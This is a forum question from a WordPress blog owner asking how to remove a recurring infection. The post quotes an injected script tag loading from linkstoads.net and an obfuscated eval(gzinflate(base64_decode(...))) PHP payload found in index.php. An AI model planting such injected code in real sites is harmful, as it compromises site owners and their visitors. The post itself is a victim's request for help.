title: A link to a linkstoads.net in my wordpress blog, probably a virus. How do i get rid of it?
body: <p>Recently (last 2 weeks) this line of code appeared in the footer of a wordpress blog :</p>
  
  <pre><code>&lt;script type="text/javascript" src="http://linkstoads.net/keller/link.php?id=3" name="linkstats"&gt;&lt;/script&gt;
  </code></pre>
  
  <p>I did not put that here. I have no idea about what it does ; but I want it out.</p>
  
  <p>For my first try, I just replaced the template and it was gone for a few minutes. But it came back.</p>
  
  <p>So i got to my index.php file (not the template, the very first index.php) and found that code :</p>
  
  <pre><code>#c3284d#
  eval(gzinflate(base64_decode("JcxLDoMwDEXROVL3EHkBeMCsfLqRTKxgKYE0WLFVtbsvkOnRe5dDPBxMGmoSc/YTnj0Yfw03+lBjD05rOD2ayRMxp7KrHbRqX9hw55y53tpLlFda5+G8FHpfrTYmUw/LhC24wPjo/g==")));
  #/c3284d#
  </code></pre>
  
  <p>So I removed it, but it came back again the next day.</p>
  
  <p>How is that possible ? I'm a newbie about viruses and security, so the answer may be really basic.</p>